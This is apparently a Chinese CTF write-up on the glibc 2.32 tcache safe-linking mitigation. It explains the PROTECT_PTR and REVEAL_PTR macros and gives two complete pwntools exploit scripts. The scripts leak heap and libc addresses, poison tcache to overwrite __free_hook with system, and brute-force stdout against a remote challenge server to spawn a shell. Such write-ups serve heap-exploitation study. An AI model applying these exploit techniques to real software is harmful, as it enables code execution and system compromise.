1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry; typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
在libc2.32中,tcache_put函数如下,可以发现相对于libc-2.31的代码,key的值还是赋值为tcache,但是e的next指针发生了变化,不再是下一个tcache的地址,而是引入了一个宏PROTECT_PTR
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); e->key = tcache; e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
我们找到相应的宏定义
1 2 #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t ) pos) >> 12 ) ^ ((size_t ) ptr)))
这个宏定义就是第一个参数右移12位再和第二个参数做一次异或,也就是说e->next会指向这个值,我们在gdb中查看,发现确实变为了一个奇怪的值。
我们可以来验证一下
1 e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
第一个参数是&e->next,也就是这一个位置的地址,为0x55555555a2a0,第二个参数是tcache->entries[tc_idx],因为当前tcache的链表其实是空的(之前还没有free过chunk),所以第二个参数值为0,我们用宏定义做一个运算,将第一个参数右移12位后异或0,发现得出的值与填入e->next的值一致。
执行完tcache_put函数后就return了。值得关注的是libc2.32的safe-linking机制,就是在e->next位置不再直白的插入下一块chunk的地址,而是利用了地址随机化技术,将当前地址右移后与tcache链表尾部的地址做了一次异或再插入链表尾部。
我们看malloc时发生了什么。
malloc过程 走到这里准备单步进入malloc函数
准备进入tcache_get函数
tcache_get函数源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 static __always_inline void *tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected" ); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
与libc2.31做对比的话,libc2.31是tcache->entries[tc_idx] = e->next;
而libc2.32是tcache->entries[tc_idx] = REVEAL_PTR (e->next);
多了一个宏定义REVEAL_PTR,我们展开后是#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
本质还是调用了PROTECT_PTR这个宏,我们观察参数,这个宏是让ptr的地址右移后和ptr做一次异或,即可恢复出e->next
我们继续向后运行
执行那个宏之前tcache_perthread_struct中的链表的值是如图所示的值
执行后发生变化如图所示
完整的构成了safe-linking机制。
利用手法 在UAF的场景下,我们可以直接用show即可泄露出e->next值,因为最初tcache链表是为空的,也就是说safe-linking机制只相当于用堆地址右移了12位,通过左移即可恢复出堆地址,从而泄露出堆的基址,泄露出堆地址以后就可以来伪造tcache的next位了,我们可以在free态的chunk中修改next为(&next)>>12 & __free_hook
(因为我们泄露出堆基址所以可以轻松的获取到&next的值),这样调用完tcacheget之后就可以把\ _free_hook链入到可供我们申请的链表当中,即可覆写__free_hook来getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *local = 1 binary = './UAF_glibc2.32' libc_path = './libc-2.32.so' if local == 1 : p = process(binary) def dbg () : context.log_level = 'debug' def add (index, size, content) : p.sendlineafter('>' , '1' ) p.sendafter('index' , str(index)) p.sendafter('size' , str(size)) p.sendafter('content:' , content) def edit (index, content) : p.sendlineafter('>' , '2' ) p.sendafter('index' , str(index)) p.sendafter('content:' , content) def show (index) : p.sendlineafter('>' , '4' ) p.sendafter('index' , str(index)) def free (index) : p.sendlineafter('>' , '3' ) p.sendafter('index' , str(index)) def pack (pos, ptr) : return (pos >> 12 ) ^ ptr def gdbg () : gdb.attach(p) pause() libc = ELF(libc_path) message = "======================== LEAK HEAP ADDRESS ======================" success(message) add(0 , 0x90 , 'aaaa' ) free(0 ) show(0 ) p.recvuntil("?\n" ) heap = u64(p.recv(5 )[-5 :].ljust(8 , b'\x00' )) heap = heap << 12 info("HEAP BASE ----> " + hex(heap)) message = "======================== LEAK LIBC ADDRESS ======================" success(message) for i in range(7 ): add(i, 0x80 , 'dawn it' ) add(7 , 0x80 , 'a' ) add(8 , 0x10 , 'protect' ) for i in range(7 ): free(i) free(7 ) edit(7 , 'a' ) show(7 ) libc_base = u64(p.recvuntil( '\x7f' )[-6 :].ljust(8 , b'\x00' )) - 193 - 0x10 - libc.sym['__malloc_hook' ] info("LIBC ----> " + hex(libc_base)) edit(7 , '\x00' ) message = "======================== TCACHE ATTACK ======================" success(message) __free_hook = libc_base + libc.sym['__free_hook' ] add(0 , 0x20 , 'aaaa' ) add(1 , 0x20 , 'bbbb' ) free(1 ) free(0 ) edit(0 , p64(pack(heap + 0x730 , __free_hook))) add(0 , 0x20 , '/bin/sh\x00' ) add(1 , 0x20 , p64(libc_base + libc.sym['system' ])) free(0 ) p.interactive()
libc 2.32 + 限制分配堆块小于 0x80 + 打印1次、编辑2次 在 glibc 2.32
中引入了一个简单的异或加密机制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); e->key = tcache; e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } static __always_inline void *tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected" ); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = NULL ; return (void *) e; }
一、新增了在从 tcache 中取出 chunk 时会检测 chunk 地址是否对齐的保护
二、引入了两个新的宏对 tcache 中存/取 chunk 的操作进行了一层保护,即在 new chunk 链接 tcache 中 old chunk 时会进行一次异或运算,代码如下:
1 2 3 #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t ) pos) >> 12 ) ^ ((size_t ) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
即 tcache_entry->next中存放的chunk地址为与自身地址进行异或运算后所得到的值 , 这就要求我们在利用 tcache_entry 进行任意地址写之前 需要我们提前泄漏出相应 chunk 的地址,即我们需要提前获得堆基址后才能进行任意地址写 ,这给传统的利用方式无疑是增加了不少的难度
不过若是我们能够直接控制 tcache struct
,则仍然可以直接进行任意地址写,这是因为在 tcache struct 中存放的仍是未经异或运算的原始 chunk 地址
glibc2.32下堆基址的新泄露方式 虽然这种简单的异或加密方式给 tcache 提高了不少的安全系数,但是同样也提供给我们新的泄露堆基址的途径
我们不难观察到,在 tcache 的一个 entry 中放入第一个 chunk 时,其同样会对该 entry 中的 “chunk” (NULL)进行异或运算后写入到将放入 tcache 中的 chunk 的 fd
字段,若是我们能够打印该 free chunk 的fd字段,便能够直接获得未经异或运算的堆上相关地址
重新回到题目,由于新机制的存在,若是我们想要通过 double free 进行任意地址写,则不仅需要清除 key 位,还需要获得堆基址,不过正如前面所讲到的,堆基址的泄露比以前更简单了些
但是本题只允许打印一次、编辑两次,后续的操作我们无疑还是需要泄露libc基址的,而打印的次数在泄露堆基址时已经用掉了
考虑到当我们将 tcache struct 送入 unsorted bin 中之后,其上会残留 main_arena + 0x60 的指针,而这个指针和 stdout
离得很近
那么我们同样可以以 1/16 的几率爆破到 stdout 后修改 _IO_write_base
的低字节为 \x00
后便有一定几率泄露出 libc 基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *context.log_level = 'debug' global plibc = ELF('./libc.so.6' ) def cmd (command:int) : p.recvuntil(b">>" ) p.sendline(str(command).encode()) def new (size:int, content) : cmd(1 ) p.recvuntil(b"Size:" ) p.sendline(str(size).encode()) p.recvuntil(b"Content:" ) p.send(content) def free () : cmd(2 ) def show () : cmd(3 ) def edit (content) : cmd(5 ) p.recvuntil(b"Content:" ) p.send(content) def exp (hit_byte) : new(0x80 , b'arttnba3' ) free() show() heap_leak = u64(p.recv(6 ).ljust(8 , b'\x00' )) heap_base = heap_leak * 0x1000 log.success('heap base: ' + hex(heap_base)) edit(b'arttnba3arttnba4' ) free() edit(p64(heap_leak ^ (heap_base + 0x10 ))) new(0x80 , b'arttnba3' ) new(0x80 , b'\x00\x00' * (0xe + 0x10 + 9 ) + b'\x07\x00' ) free() new(0x40 , (b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00' ).ljust(0x70 , b'\x00' )) new(0x30 , b'\x00' .ljust(0x30 , b'\x00' )) new(0x10 , p64(0 ) + b'\xc0' + p8(hit_byte * 0x10 + 6 )) new(0x40 , p64(0xfbad1800 ) + p64(0 ) * 3 + b'\x00' ) libc_base = u64(p.recvuntil(b'\x7F' )[-6 :].ljust(8 ,b'\x00' )) - 0x1e4744 new(0x10 , p64(libc_base + libc.sym['__free_hook' ])) new(0x70 , p64(libc_base + libc.sym['system' ])) new(0x10 , b'/bin/sh\x00' ) free() p.interactive() if __name__ == '__main__' : count = 1 i = 0 while True : try : print('the no.' + str(count) + ' try' ) print(b'try: ' + b'\xc0' + p8(i * 0x10 + 6 )) p = remote('node3.buuoj.cn' , 26018 ) exp(i) except Exception as e: print(e) p.close() i = i + 1 count = count + 1 i = i % 16 continue